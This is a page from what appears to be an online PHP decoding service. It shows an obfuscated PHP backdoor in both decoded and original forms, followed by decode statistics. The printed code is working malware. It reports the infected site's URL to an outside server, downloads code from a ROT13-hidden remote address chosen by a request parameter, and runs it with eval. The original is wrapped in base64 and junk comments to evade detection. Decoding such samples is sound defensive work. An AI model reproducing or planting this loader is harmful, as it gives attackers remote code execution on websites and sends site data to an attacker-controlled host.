Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php /*-XuBOl.2-*/error_reporting(0); /*-hyu,(Rc~vL-*/eval/*-N5a1@#6g2n-De[`{Y$fc5Wyf:exW..

Decoded Output download

?>b'<?php header(\'Content-Type: text/html; charset=utf-8\'); error_reporting(0);
session_start();
$ac = $_REQUEST[\'ac\'];
if(!empty($ac)){
    $_SESSION[\'ac\'] = $ac;
}else{
    $url = (isset($_SERVER[\'HTTPS\']) && $_SERVER[\'HTTPS\'] === \'on\' ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]";
    post_u(array(\'web\'=>$url));
}
$a = get_u(str_rot13(\'uggc://jfdt.wcinpngvba.pbz/erzbgr/qbbe/\').$ac.\'.txt\');
eval(\'?>\' . $a);
exit();
function get_u($url) {
    $data = "";
    if (function_exists(\'curl_exec\')) {
        $conn = curl_init($url);
        curl_setopt($conn, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($conn, CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt($conn, CURLOPT_SSL_VERIFYPEER, 0);
        curl_setopt($conn, CURLOPT_SSL_VERIFYHOST, 0);
        $data = curl_exec($conn);
        curl_close($conn);
    }
    if (empty($data) && function_exists(\'file_get_contents\')) {
        $data = file_get_contents($url);
    }
    if (empty($data) && function_exists(\'fopen\') && function_exists(\'stream_get_contents\')) {
        $handle = fopen($url, "r");
        $data = stream_get_contents($handle);
        fclose($handle);
    }
    return $data;
}

function post_u($postData){
    $url = \'http://hknxoe.byhot.top/index.php\';
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $postData);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    $response = curl_exec($ch);
    curl_close($ch);
} ?>'

Did this file decode correctly?

Original Code

<?php /*-XuBOl.2-*/error_reporting(0); /*-hyu,(Rc~vL-*/eval/*-N5a1@#6g2n-De[`{Y$fc5Wyf:exWk,U&M@KU~;%FTJUo?qB;|uI-*/(/*-1&aITHM{D-*/base64_decode/*-a&a|]&r-*/(/*-t3y}([-*/"ZXZhbCgiPz4iLmJhc2U2NF9kZWNvZGUoIlBEOXdhSEFnYUdWaFpHVnlLQ2REYjI1MFpXNTBMVlI1Y0dVNklIUmxlSFF2YUhSdGJEc2dZMmhoY25ObGREMTFkR1l0T0NjcE95Qmxjbkp2Y2w5eVpYQnZjblJwYm1jb01DazdEUXB6WlhOemFXOXVYM04wWVhKMEtDazdEUW9rWVdNZ1BTQWtYMUpGVVZWRlUxUmJKMkZqSjEwN0RRcHBaaWdoWlcxd2RIa29KR0ZqS1NsN0RRb2dJQ0FnSkY5VFJWTlRTVTlPV3lkaFl5ZGRJRDBnSkdGak93MEtmV1ZzYzJWN0RRb2dJQ0FnSkhWeWJDQTlJQ2hwYzNObGRDZ2tYMU5GVWxaRlVsc25TRlJVVUZNblhTa2dKaVlnSkY5VFJWSldSVkpiSjBoVVZGQlRKMTBnUFQwOUlDZHZiaWNnUHlBaWFIUjBjSE1pSURvZ0ltaDBkSEFpS1NBdUlDSTZMeThrWDFORlVsWkZVbHRJVkZSUVgwaFBVMVJkSkY5VFJWSldSVkpiVWtWUlZVVlRWRjlWVWtsZElqc05DaUFnSUNCd2IzTjBYM1VvWVhKeVlYa29KM2RsWWljOVBpUjFjbXdwS1RzTkNuME5DaVJoSUQwZ1oyVjBYM1VvYzNSeVgzSnZkREV6S0NkMVoyZGpPaTh2YW1aa2RDNTNZMmx1Y0c1bmRtSmhMbkJpZWk5bGNucGlaM0l2Y1dKaVpTOG5LUzRrWVdNdUp5NTBlSFFuS1RzTkNtVjJZV3dvSno4K0p5QXVJQ1JoS1RzTkNtVjRhWFFvS1RzTkNtWjFibU4wYVc5dUlHZGxkRjkxS0NSMWNtd3BJSHNOQ2lBZ0lDQWtaR0YwWVNBOUlDSWlPdzBLSUNBZ0lHbG1JQ2htZFc1amRHbHZibDlsZUdsemRITW9KMk4xY214ZlpYaGxZeWNwS1NCN0RRb2dJQ0FnSUNBZ0lDUmpiMjV1SUQwZ1kzVnliRjlwYm1sMEtDUjFjbXdwT3cwS0lDQWdJQ0FnSUNCamRYSnNYM05sZEc5d2RDZ2tZMjl1Yml3Z1ExVlNURTlRVkY5U1JWUlZVazVVVWtGT1UwWkZVaXdnTVNrN0RRb2dJQ0FnSUNBZ0lHTjFjbXhmYzJWMGIzQjBLQ1JqYjI1dUxDQkRWVkpNVDFCVVgwWlBURXhQVjB4UFEwRlVTVTlPTENBeEtUc05DaUFnSUNBZ0lDQWdZM1Z5YkY5elpYUnZjSFFvSkdOdmJtNHNJRU5WVWt4UFVGUmZVMU5NWDFaRlVrbEdXVkJGUlZJc0lEQXBPdzBLSUNBZ0lDQWdJQ0JqZFhKc1gzTmxkRzl3ZENna1kyOXViaXdnUTFWU1RFOVFWRjlUVTB4ZlZrVlNTVVpaU0U5VFZDd2dNQ2s3RFFvZ0lDQWdJQ0FnSUNSa1lYUmhJRDBnWTNWeWJGOWxlR1ZqS0NSamIyNXVLVHNOQ2lBZ0lDQWdJQ0FnWTNWeWJGOWpiRzl6WlNna1kyOXViaWs3RFFvZ0lDQWdmUTBLSUNBZ0lHbG1JQ2hsYlhCMGVTZ2taR0YwWVNrZ0ppWWdablZ1WTNScGIyNWZaWGhwYzNSektDZG1hV3hsWDJkbGRGOWpiMjUwWlc1MGN5Y3BLU0I3RFFvZ0lDQWdJQ0FnSUNSa1lYUmhJRDBnWm1sc1pWOW5aWFJmWTI5dWRHVnVkSE1vSkhWeWJDazdEUW9nSUNBZ2ZRMEtJQ0FnSUdsbUlDaGxiWEIwZVNna1pHRjBZU2tnSmlZZ1puVnVZM1JwYjI1ZlpYaHBjM1J6S0NkbWIzQmxiaWNwSUNZbUlHWjFibU4wYVc5dVgyVjRhWE4wY3lnbmMzUnlaV0Z0WDJkbGRGOWpiMjUwWlc1MGN5Y3BLU0I3RFFvZ0lDQWdJQ0FnSUNSb1lXNWtiR1VnUFNCbWIzQmxiaWdrZFhKc0xDQWljaUlwT3cwS0lDQWdJQ0FnSUNBa1pHRjBZU0E5SUhOMGNtVmhiVjluWlhSZlkyOXVkR1Z1ZEhNb0pHaGhibVJzWlNrN0RRb2dJQ0FnSUNBZ0lHWmpiRzl6WlNna2FHRnVaR3hsS1RzTkNpQWdJQ0I5RFFvZ0lDQWdjbVYwZFhKdUlDUmtZWFJoT3cwS2ZRMEtEUXBtZFc1amRHbHZiaUJ3YjNOMFgzVW9KSEJ2YzNSRVlYUmhLWHNOQ2lBZ0lDQWtkWEpzSUQwZ0oyaDBkSEE2THk5b2EyNTRiMlV1WW5sb2IzUXVkRzl3TDJsdVpHVjRMbkJvY0NjN0RRb2dJQ0FnSkdOb0lEMGdZM1Z5YkY5cGJtbDBLQ1IxY213cE93MEtJQ0FnSUdOMWNteGZjMlYwYjNCMEtDUmphQ3dnUTFWU1RFOVFWRjlRVDFOVUxDQXhLVHNOQ2lBZ0lDQmpkWEpzWDNObGRHOXdkQ2drWTJnc0lFTlZVa3hQVUZSZlVFOVRWRVpKUlV4RVV5d2dKSEJ2YzNSRVlYUmhLVHNOQ2lBZ0lDQmpkWEpzWDNObGRHOXdkQ2drWTJnc0lFTlZVa3hQVUZSZlVrVlVWVkpPVkZKQlRsTkdSVklzSUhSeWRXVXBPdzBLSUNBZ0lDUnlaWE53YjI1elpTQTlJR04xY214ZlpYaGxZeWdrWTJncE93MEtJQ0FnSUdOMWNteGZZMnh2YzJVb0pHTm9LVHNOQ24wZ1B6ND0iKSk7"/*-&(|!!|Ra-*/)/*-oMAR1foG:y-*/);?>

Function Calls

base64_decode 2
error_reporting 1

Variables

None

Stats

MD5 e8fc5f6bf3b9bcff1968437afd4bfad5
Eval Count 2
Decode Time 53 ms